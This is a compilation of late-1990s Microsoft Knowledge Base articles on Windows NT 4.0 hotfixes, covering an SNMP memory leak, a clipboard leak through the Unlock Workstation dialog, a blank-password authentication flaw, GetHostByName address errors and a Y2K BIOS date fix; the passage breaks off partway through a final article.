For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0.

Additional query words: 4.00 postsp4 Sms-fix Gina-fix Msv1-fix Nprpc-fix Infget-fix Clik-fix Tcpip-fix
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q196270
TITLE   :SNMP Agent Leaks Memory When Queried
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

The SNMPtest utility exhibits substantial memory leakage when it is used to
stress the SNMP agent.

CAUSE
=====

This problem occurs because, while processing messages, a buffer was used
that was never freed.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft,
but has not been fully regression tested and should be applied only to
systems experiencing this specific problem. If you are not severely
affected by this specific problem, Microsoft recommends that you wait for
the next Windows NT service pack that contains this fix.

To resolve this problem immediately, download the fix as described below.
For a complete list of Microsoft Product Support Services phone numbers and
information on support costs, please go to the following address on the
World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes
or later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   11/21/98  03:11a               247,056 Advapi32.dll  (x86)
   11/21/98  03:11a                29,456 Perfctrs.dll  (x86)
   11/17/98  02:29a                17,680 Snmp.exe      (x86)
   11/21/98  03:11a               188,176 Winlogon.exe  (x86)

   11/21/98  03:10a               404,240 Advapi32.dll  (Alpha)
   11/21/98  03:11a                45,840 Perfctrs.dll  (Alpha)
   11/17/98  02:29a                27,920 Snmp.exe      (Alpha)
   11/21/98  03:10a               273,680 Winlogon.exe  (Alpha)

This hotfix has been posted to the following Internet location as
Smsfixi.exe (x86) and Smsfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Sms-fix/

NOTE: If you contact Microsoft to obtain this fix, a fee may be charged.
This fee is refundable if it is determined that you only require the fix
you requested. However, this fee is non-refundable if you request
additional technical support.

For more information about eligibility for no-charge technical support, see
the following article in the Microsoft Knowledge Base:

   ARTICLE-ID: Q154871
   TITLE     : Determining If Your Product Is Eligible for No-Charge
               Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.

Additional query words: 4.00 systems management server service
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q214802
TITLE   :WinNT Lets You Paste Text into Unlock Workstation Dialog Box
PRODUCT :Windows NT; Windows NT, Terminal Server Edition
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Windows NT Workstation versions 3.51, 4.0
 - Microsoft Windows NT Server versions 3.51, 4.0
 - Microsoft Windows NT Server version 4.0, Terminal Server Edition
-------------------------------------------------------------------------------

SYMPTOMS
========

A problem in Windows NT enables someone with physical access to the console of a
Windows NT system where a user is currently logged on and the console is locked
to retrieve the first line of text from the logged on user's clipboard. This is
done by pasting (pressing CTRL+V) the clipboard contents into the User name
field of the Unlock Workstation dialog box. Microsoft has not received any
reports of adverse effects as a result of this issue.

Terminal Server connections are not impacted by this bug, although the Terminal
Server console would be.

RESOLUTION
==========

Windows NT 4.0
--------------

A supported fix that corrects this problem is now available from Microsoft, but
has not been fully regression tested and should be applied only to systems
determined to be at risk of attack. Please evaluate your system's physical
accessibility, network and Internet connectivity, and other factors to determine
the degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next Windows NT
4.0 or Windows NT Server 4.0, Terminal Server Edition service pack that contain
this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The version of this fix should have the following file attributes or later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   01/18/99  07:06p               124,176 Msgina.dll    (x86)
   01/18/99  07:08a               160,528 Msgina.dll    (Alpha)

Windows NT 4.0 with Service Pack 4:

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Gina-fix/

Windows NT 4.0 with Service Pack 3:

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/Gina-fix/

WARNING: If you install the SP3 version of this hotfix you may invalidate other
Post-SP3 hotfixes that also include the replacement of Msgina.dll in the
%Windows%\System32 folder. To eliminate the vulnerabilities identified in this
fix and other Post-SP3 fixes, please install Service Pack 4 and then apply the
Post-SP4 version of this hotfix.

Windows NT Server 4.0, Terminal Server Edition
----------------------------------------------

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40TSE/
   hotfixes-postSP3/Gina-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

Windows NT 3.51
---------------

A hotfix is not available for Windows NT 3.51.

STATUS
======

Microsoft has confirmed this problem could result in some degree of security
vulnerability in Windows NT versions 3.51 and 4.0 and Windows NT Server 4.0,
Terminal Server Edition.

MORE INFORMATION
================

Gina-fix also resolves the problem discussed in the following article in the
Microsoft Knowledge Base:

   Q188700 Screensaver Password Works Even if Account Is Locked Out

Additional query words: 3.51 4.00 sp1 sp2 sp3 sp4 tse wts
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q214840
TITLE   :MSV1_0 Allows Network Connections for Specific Accounts
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition version 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

A problem occurs in Windows NT 4.0 Service Pack 4 when a user has changed the
password for his or her Windows NT domain account from a LanManager client (such
as a Windows for Workgroups or the Macintosh desktop). After the user's password
is changed from the LanManager client, that account may be used to log on
interactively and to make network connections from other systems using a blank
password.

The security problem does not affect user accounts where the password change is
initiated from Windows 95, Windows 98, or Windows NT systems. Furthermore, user
account password changes can only be initiated by the user who knows the current
password for the account. There is no opportunity for an unauthorized user to
change the password of another user account.

CAUSE
=====

LanManager remote file access clients on Windows for Workgroups, Macintosh, or
OS/2 use a different change password protocol than Windows NT, Windows 95, or
Windows 98 systems. The older password change protocol for these clients uses
only the "LM hash" form of the password for authentication. The Windows NT
domain controller stores only the LM hash form of the password credentials for
that user in the security account manager (SAM) database. The "NT hash" form of
the password for the user account is set to a NULL value.

The problem introduced in Windows NT 4.0 Service Pack 4 is a logic error in
validating network authentication for users with the NULL value for the NT hash
of the password. The result is that a network connection to a server can be made
from Windows 95, Windows 98, or Windows NT systems for those accounts using a
blank password.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
has not been fully regression tested and should be applied only to systems
determined to be at risk of attack. Please evaluate your system's physical
accessibility, network and Internet connectivity, and other factors to determine
the degree of risk to your system. If your system is sufficiently at risk,
Microsoft recommends you apply this fix. Otherwise, wait for the next Windows NT
4.0 service pack that contain this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   02/02/99  06:47p                47,376 Msv1_0.dll    (x86)
   02/02/99  06:50p                79,120 Msv1_0.dll    (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Msv1-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this problem could result in some degree of security
vulnerability in Windows NT version 4.0 Service Pack 4.

Additional query words: 4.00 sp4 lanman
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q214864
TITLE   :GetHostByName API Returns Unbindable Addresses
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition version 4.0 SP4
 - Microsoft Exchange Server, versions 5.0, 5.5
-------------------------------------------------------------------------------

SYMPTOMS
========

After you apply Windows NT 4.0 Service Pack 4, Microsoft Exchange Internet
Applications and Services may no longer function properly and the following
errors are visible in the Event Viewer:

   EventID: 1309
   Source: MSExchangeDS
   Description:
   Register LDAP SSL protocol failed with error 10049. The LDAP SSL server is not
   available. Make sure port number 636 is not used by another application.

   EventID: 11508
   Source: MSExchange POP3
   Description:
   Accept clients on POP3 interface failed in function HrRegisterProcol with
   error 0x2741.

   EventID: 1194
   Source: MSExchangeIS
   Description:
   Accept client on external interface POP3 failed with error 0x80004005.

   EventID: 11506
   Source: MSExchange IMAP4
   Description:
   Accept clients on IMAP4 interface failed in function HrRegisterProcol with
   error 0x2741.

   EventID: 1194
   Source: MSExchangeIS
   Description:
   Accept client on external interface IMAP4 failed with error 0x80004005.

CAUSE
=====

Windows NT 4.0 Service Pack 4 causes NDISWAN Services to return IP addresses in
the order in which they are bound. This change results in IP addresses not
currently bound to the TCP/IP stack being returned when making a call to the
Winsock API function GetHostbyName(). Microsoft Exchange Server fails to
register Internet protocols with these IP addresses.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   01/29/99  06:27p                43,792 Rnr20.dll     (x86)
   01/29/99  06:51p                72,464 Rnr20.dll     (Alpha)

This hotfix has been posted to the following Internet location as Rnr-fixi.exe
(x86) and Rnr-fixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Rnr-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0 Service Pack 4.

Additional query words: sbsfaqtop 4.00 xadm protocol hrRegisterProtocol
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q216091
TITLE   :GetHostByName() Returns IP Address of Disabled Interface
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition version 4.0 SP4
 - Microsoft Windows NT Workstation version 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

In Windows NT 4.0, it is possible to set up multiple hardware profiles using the
Devices tool in Control Panel. The device for the network interface card (NIC)
can be disabled on a per-profile basis.

In such a scenario, Sockets-based applications running on Windows NT 4.0 Service
Pack 4 may fail unexpectedly. This problem has been observed in NetShow and
Microsoft Exchange applications. The problem can also occur on multihomed
computers where one of the NICs is disabled.

CAUSE
=====

This problem occurs because the GetHostByName() API returns the old IP address
owned previously by the disabled NIC.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   01/20/99  03:19p                43,280 Rnr20.dll     (x86)
   01/20/99  03:22p                71,440 Rnr20.dll     (Alpha)

This hotfix has been posted to the following Internet location as Rnr-fixi.exe
(x86) and Rnr-fixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Rnr-fix/

NOTE: If this product was already installed on your computer when you purchased
it from the Original Equipment Manufacturer (OEM) and you need this fix, please
call the Pay Per Incident number listed on the above Web site. If you contact
Microsoft to obtain this fix, a fee may be charged. This fee is refundable if it
is determined that you only require the fix you requested. However, this fee is
non-refundable if you request additional technical support, if your no-charge
technical support period has expired, or if you are not eligible for standard
no-charge technical support.

For more information about eligibility for no-charge technical support, see the
following article in the Microsoft Knowledge Base:

   Q154871 Determining If You Are Eligible for No-Charge Technical Support

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT 4.0 Service Pack 4.

Additional query words: 4.00 sp4
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q216913
TITLE   :BIOS Date Value Does Not Immediately Update on January 1, 2000
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4, 4.0 SP5
 - Microsoft Windows NT Server versions 4.0, 4.0 SP1, 4.0 SP2, 4.0 SP3, 4.0 SP4, 4.0 SP5
 - Microsoft Windows NT Server, Enterprise Edition versions 4.0, 4.0 SP4, 4.0 SP5
 - Microsoft Windows NT Server version 4.0, Terminal Server Edition
-------------------------------------------------------------------------------

SYMPTOMS
========

Windows NT 4.0 Service Pack 5 addresses the following problem in Windows NT
4.0:

   When the Windows NT System Time value rolls over from the year 1999 to 2000,
   the Century Byte value stored in the real time clock (RTC) is not changed
   until up to one hour later when the time daemon writes out the date. This
   issue only affects systems with older BIOSes that do not automatically update
   the century byte on reboot (contact your hardware manufacturer for BIOS
   details).
   This issue may cause unexpected behavior under two conditions:

 - When your computer is configured using the dual boot option where another
   operating system may not handle this situation properly. All versions of
   MS-DOS fall into this category.

 - Some computer hardware BIOS configurations detect this behavior as an invalid
   date and present a query for the correct date. This may prevent a computer
   from restarting without user input.

   NOTE: This problem only occurs if the computer is restarted during the time
   lapse when the dates were out of synch.

On August 5, 1999, Microsoft released an updated version of BIOS-fix that was
originally included with Windows NT 4.0 Service Pack 5. In addition to the
above, the latest version of this update corrects the following problems:

 - If a computer is set to a time zone which does not participate in Daylight
   Saving Time, refreshing the real time clock for the Year 2000 does not work.

 - The original update did not replace the multi-processor kernel if it existed.
   The updated version does.

RESOLUTION
==========

WINDOWS NT

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

If you are running Windows NT 4.0 Service Pack 5:

This update has been posted to the following Internet location as Biosfixi.exe
(x86) and Biosfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP5/Y2K/BIOS2-fix

To determine if a localized version of this software update is available, change
"USA" in the URL above to the appropriate localized abbreviation. Click here
(ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/readme.txt) for a list
of these abbreviations.

If you are running Windows NT 4.0 Service Pack 4:

This software update has been posted to the following Internet location as
Biosfixi.exe (x86) and Biosfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP4/Y2K/BIOS2-fix/

To determine if a localized version of this software update is available, change
"USA" in the URL above to the appropriate localized abbreviation. Click here
(ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/readme.txt) for a list
of these abbreviations.

For information on obtaining Windows NT 4.0 Service Pack 5, please see the
following article in the Microsoft Knowledge Base:

   Q152734 How to Obtain the Latest Windows NT 4.0 Service Pack

TERMINAL SERVER

A supported software update that corrects this problem is now available from
Microsoft, but it has not been fully regression tested and should be applied
only to systems experiencing this specific problem. If you are not severely
affected by this specific problem, Microsoft recommends that you wait for the
next Windows NT 4.0, Terminal Server Edition service pack that contains this
software update.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the software update. For a complete list of Microsoft Product Support
Services phone numbers and information on support costs, please go to the
following address on the World Wide Web:

   http://www.microsoft.com/support/supportnet/overview/overview.asp

The English version of this update should have the following file attributes or
later:

   Date       Time     Size        File name      Platform
   -------------------------------------------------------
   06/17/99   06:30p     991,808   Ntkrnlmp.exe   x86
   06/17/99   06:30p     971,008   Ntoskrnl.exe   x86

   06/19/99   02:43p   1,461,504   Ntkrnlmp.exe   Alpha
   06/19/99   02:43p   1,459,712   Ntoskrnl.exe   Alpha

This software update has been posted to the following Internet location as
Biosfixi.exe (x86) and Biosfixa.exe (Alpha):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40tse/
   hotfixes-postSP4/Y2K/BIOS2-fix/

To determine if a localized version of this software update is available, change
"USA" in the URL above to the appropriate localized abbreviation. Click here
(ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/readme.txt) for a list
of these abbreviations.

STATUS
======

WINDOWS NT 4.0

Microsoft has confirmed this to be a problem in Windows NT version 4.0. This
problem was first corrected in Windows NT version 4.0 Service Pack 5.

WINDOWS NT SERVER 4.0, TERMINAL SERVER EDITION

Microsoft has confirmed this to be a problem in Windows NT Server 4.0, Terminal
Server Edition.

MORE INFORMATION
================

How to determine which version of the update you have installed:

   Original Windows NT 4.0 Post-SP4 Biosfixa.exe

   11/23/98  05:01p             1,413,440 ntkrnlmp.exe
   11/23/98  05:00p             1,385,152 ntoskrnl.exe

   Original Windows NT 4.0 Post-SP4 Biosfixi.exe

   11/23/98  05:01p               948,160 ntkrnlmp.exe
   11/23/98  05:00p               928,192 ntoskrnl.exe

   New Windows NT 4.0 Post-SP5 Biosfixa.exe

   07/27/99  10:10a             1,417,664 ntkrnlmp.exe
   07/27/99  10:09a             1,389,248 ntoskrnl.exe

   New Windows NT 4.0 Post-SP5 Biosfixi.exe

   07/27/99  10:11a               951,296 ntkrnlmp.exe
   07/27/99  10:10a               931,200 ntoskrnl.exe

   New Windows NT 4.0 Post-SP4 Biosfixa.exe

   07/15/99  03:40p             1,413,504 ntkrnlmp.exe
   07/15/99  03:40p             1,385,152 ntoskrnl.exe

   New Windows NT 4.0 Post-SP4 Biosfixa.exe

   07/15/99  03:36p               949,824 ntkrnlmp.exe
   07/15/99  03:36p               929,792 ntoskrnl.exe

   Original TSE Post-SP4 Biosfixa.exe

   06/19/99  02:43p             1,461,504 ntkrnlmp.exe
   06/19/99  02:43p             1,459,712 ntoskrnl.exe

   Original TSE Post-SP4 Biosfixi.exe

   06/17/99  06:30p               991,808 ntkrnlmp.exe
   06/17/99  06:30p               971,008 ntoskrnl.exe

   New TSE Post-SP4 Biosfixa.exe

   08/04/99  11:47a             1,461,568 ntkrnlmp.exe
   08/04/99  11:46a             1,432,320 ntoskrnl.exe

   New TSE Post-SP4 Biosfixa.exe

   08/03/99  01:13p               992,448 ntkrnlmp.exe
   08/03/99  01:12p               971,648 ntoskrnl.exe

Additional query words: y2k tse wts
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q217001
TITLE   :GetHostByName API Returns Unbindable Addresses
PRODUCT :Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS NT
KEYWORD :kbbug4.00 kbfix4.00

-------------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0 SP4
 - Microsoft Windows NT Server, Enterprise Edition version 4.0 SP4
 - Microsoft Windows NT Workstation version 4.0 SP4
-------------------------------------------------------------------------------

SYMPTOMS
========

After you apply Windows NT 4.0 Service Pack 4, Windows Sockets applications
using the "bind()" function with IP address information retrieved using
"GetHostByName()" to return localhost IP addresses may fail and return the
following error message:

   10049 (WSAEADDRNOTAVAIL)

CAUSE
=====

A change was introduced in Service Pack 4 that causes NDISWAN Services to return
IP addresses in the order in which they are bound. This change resulted in IP
addresses not currently bound to the TCP/IP stack to be returned when making a
call to the Winsock API function GetHostbyName(). Sockets applications using the
"bind()" function for individual addresses returned from "GetHostByName()" on
systems running the RAS (Remote Access Server) Service may experience this
problem.

RESOLUTION
==========

A supported fix that corrects this problem is now available from Microsoft, but
it has not been fully regression tested and should be applied only to systems
experiencing this specific problem. If you are not severely affected by this
specific problem, Microsoft recommends that you wait for the next Windows NT 4.0
service pack that contains this fix.

To resolve this problem immediately, contact Microsoft Product Support Services
to obtain the fix. For a complete list of Microsoft Product Support Services
phone numbers and information on support costs, please go to the following
address on the World Wide Web:

   http://support.microsoft.com/support/supportnet/default.asp

The English version of this fix should have the following file attributes or
later:

   Date      Time                 Size    File Name     Platform
   -------------------------------------------------------------
   01/29/99 06:34p                43,792  Rnr20.dll     (x86)
   01/29/99 06:51p                72,464  Rnr20.dll     (Alpha)

